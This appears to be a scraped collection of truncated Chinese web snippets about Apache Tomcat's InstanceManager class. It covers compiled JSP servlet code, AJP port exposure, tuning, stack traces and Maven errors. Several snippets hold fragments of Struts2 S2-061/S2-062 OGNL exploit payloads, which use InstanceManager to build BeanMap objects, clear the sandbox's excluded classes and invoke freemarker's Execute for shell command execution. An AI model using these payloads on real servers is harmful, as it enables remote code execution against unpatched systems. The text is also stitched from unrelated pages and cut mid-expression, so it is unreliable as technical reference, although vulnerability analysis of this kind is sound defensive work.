代码如下： /* * Generated by the Jasper component of Apache Tomcat * Version: Apache Tomcat/7.0.81 * Generated...time of the source file after * generation to assist with modification tracking. */ package org.apache.jsp...1508067769708L)); } private volatile javax.el.ExpressionFactory _el_expressionfactory; private volatile org.apache.tomcat.InstanceManager...()).getExpressionFactory(); } } } return _el_expressionfactory; } public org.apache.tomcat.InstanceManager...if (_jsp_instancemanager == null) { _jsp_instancemanager = org.apache.jasper.runtime.InstanceManagerFactory.getInstanceManager
这就直接可以说明，该 java 文件就是 JSP 页面编译后生成的，具体代码如下： /* * Generated by the Jasper component of Apache Tomcat *...implements org.apache.jasper.runtime.JspSourceDependent, org.apache.jasper.runtime.JspSourceImports...null; } private volatile javax.el.ExpressionFactory _el_expressionfactory; private volatile org.apache.tomcat.InstanceManager...()).getExpressionFactory(); } } } return _el_expressionfactory; } public org.apache.tomcat.InstanceManager...if (_jsp_instancemanager == null) { _jsp_instancemanager = org.apache.jasper.runtime.InstanceManagerFactory.getInstanceManager
下面介绍一下，一般路径都会在${TOMCAT_HOME}\work\Catalina\localhost\项目名称\org\apache\jsp文件夹下面。...随便找个index_jsp.java文件，拿代码来看看： /* * Generated by the Jasper component of Apache Tomcat * Version: Apache...java.lang.Long> _jspx_dependants; private javax.el.ExpressionFactory _el_expressionfactory; private org.apache.tomcat.InstanceManager...org.apache.jasper.runtime; import java.io.IOException; import javax.servlet.ServletConfig; import javax.servlet.ServletException...查看一下tomcat7官方给出的文档：http://tomcat.apache.org/tomcat-7.0-doc/jasper-howto.html#Configuration 找到mappedfile
问题点： Tomcat 7使用AJP协议导致AJP对应端口被暴露给外网 环境： Linux(CentOS7) + Tomcat7 Step1：问题表现 Step2：问题分析 一般情况下AJP...协议不会发生非常频繁的通信协议错误问题， 当尝试从外网连接Tomcat的Ajp端口8009，telnet连接成功，说明端口被暴露给了外网 根据The AJP Connector中的介绍说明（address...最终结果如下： 修改后重启即可 关于tomcat的优化 1.Executor配置 项目 Value maxThreads 线程池中最大并发线程数, 默认值为200, 一般建议设置400...通常可设置为30000ms. acceptCount 当tomcat启动的线程数达到最大时，接受排队的请求个数，默认值为100 maxThreads 最大线程数，即同时处理的任务个数，默认值为200
解决org.apache.tomcat.util.http.fileupload.impl.FileSizeLimitExceededException 今天在测试的时候，上传了一个3MB左右的文件，提示这个错误
=#application["org.apache.tomcat.InstanceManager"])....=#application["org.apache.tomcat.InstanceManager"])....== true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager...').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#application.get('org.apache.tomcat.InstanceManager...').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#application.get('org.apache.tomcat.InstanceManager
(JspServlet.java:330) javax.servlet.http.HttpServlet.service(HttpServlet.java:741) org.apache.tomcat.websocket.server.WsFilter.doFilter...:260) Root Cause javax.servlet.ServletException: java.lang.NoClassDefFoundError: Could not initialize...(HttpServlet.java:741) org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)...org.apache.jsp.captcha_jsp....(HttpServlet.java:741) org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)
JSP就是Servlet 1）tomcat获得JSP文件后，先将JSP转成servlet，变成xxx.java(servlet源码) D:\java\tomcat7.0\apache-tomcat...-7.0.53\apache-tomcat-7.0.53\work\Catalina\localhost\test01\org\apache\jsp |------------------...Tomcat * Version: Apache Tomcat/7.0.53 * Generated at: 2017-02-22 02:09:08 UTC * Note: The last modified...java.lang.Long> _jspx_dependants; private javax.el.ExpressionFactory _el_expressionfactory; private org.apache.tomcat.InstanceManager... implements org.apache.jasper.runtime.JspSourceDependent NewFile_jsp.java继承自HttpJspBase。
找到 org.apache.tomcat.InstanceManager 转换为ognl表达式后如下：#application.get('org.apache.tomcat.InstanceManager...OgnlContext获取SecurityMemberAccess的方法 # 注意，自行调试的话，需要分两次执行%{#application.map3=#application.get('org.apache.tomcat.InstanceManager...payload执行结果 执行shell的ognl代码 #application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute...').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager...').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager
报错: org.apache.tomcat.maven tomcat7-maven-plugin...换了好多别人的配置文件都不行 最后还是不头铁，这样写了 org.apache.tomcat.maven... tomcat7-maven-plugin 2.1...uriEncoding> http://localhost:8080/shiro Tomcat7...-- 编译插件 --> org.apache.maven.plugins
SSM项目部署到Tomcat之后,浏览器地址栏访问Controller层,出现如下Error, 摘要： 本文探讨了一个常见的Java Web应用程序中的错误，即"javax.servlet.ServletException...) org.apache.tomcat.util.net.AprEndpoint$SocketProcessor.doRun(AprEndpoint.java:2527) org.apache.tomcat.util.net.AprEndpoint...$AbstractConnectionHandler.process(AbstractProtocol.java:684) org.apache.tomcat.util.net.AprEndpoint...$SocketProcessor.doRun(AprEndpoint.java:2527) org.apache.tomcat.util.net.AprEndpoint$SocketProcessor.run...$AbstractConnectionHandler.process(AbstractProtocol.java:684) org.apache.tomcat.util.net.AprEndpoint
=#application["org.apache.tomcat.InstanceManager"])....=#application["org.apache.tomcat.InstanceManager"])....=#application["org.apache.tomcat.InstanceManager"])....== true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager...').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#application.get('org.apache.tomcat.InstanceManager
=#application["org.apache.tomcat.InstanceManager"])....=#application["org.apache.tomcat.InstanceManager"])....=#application["org.apache.tomcat.InstanceManager"])....== true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager...').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager
如果您查找 S2-061 的 POC，您可能会想到以下内容： %{ (#application.map=#application.get('org.apache.tomcat.InstanceManager...').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#application.get('org.apache.tomcat.InstanceManager...#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap...但是新的沙盒限制阻止了 org.apache.tomcat.* 的使用。...@{}.keySet()) == true).toString().substring(0,0) + (#application.get('org.apache.tomcat.InstanceManager
=#application["org.apache.tomcat.InstanceManager"])....(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap"))....对象 (#instancemanager=#application["org.apache.tomcat.InstanceManager"]) //创建BeanMap对象，设置相关参数 //在Struts2...v2.5.26之后将org.apache.tomcat加入了黑名单，导致无法获取BeanMap对象,所以得创建对象 (#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap...=#application["org.apache.tomcat.InstanceManager"]).
title here index.jsp 经过编译后：很显然下面的代码结构和 Servlet 是差不多的 package org.apache.jsp...javax.servlet.*; import javax.servlet.http.*; import javax.servlet.jsp.*; public final class index_jsp extends org.apache.jasper.runtime.HttpJspBase...implements org.apache.jasper.runtime.JspSourceDependent { private static final javax.servlet.jsp.JspFactory...java.lang.Long> _jspx_dependants; private javax.el.ExpressionFactory _el_expressionfactory; private org.apache.tomcat.InstanceManager...= org.apache.jasper.runtime.InstanceManagerFactory.getInstanceManager(getServletConfig()); } public
代码位置：org.apache.catalina.core.ContainerBase.ContainerBackgroundProcessor#run 每隔10s就会自动检测是否有代码变动。...源码实现 热部署和热加载为该线程 位置：org.apache.catalina.core.ContainerBase#threadStart protected void threadStart() {...threadDone) { log.error(unexpectedDeathMessage, t); } } } 位置：org.apache.catalina.core.StandardContext...", resources), e); } } super.backgroundProcess(); } 检测变动类 源码位置：org.apache.catalina.loader.WebappLoader...位置是：org.apache.catalina.core.ContainerBase#backgroundProcess org.apache.catalina.startup.HostConfig#
=#application["org.apache.tomcat.InstanceManager"])....(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap"))....(#emptyset=#instancemanager.newInstance("java.util.HashSet"))....(#arglist=#instancemanager.newInstance("java.util.ArrayList"))....腾讯安全专家建议受影响的用户将Apache Struts框架升级至最新版本 临时修复，升级到 Struts 2.5.26 版本，下载地址为： https://cwiki.apache.org/confluence
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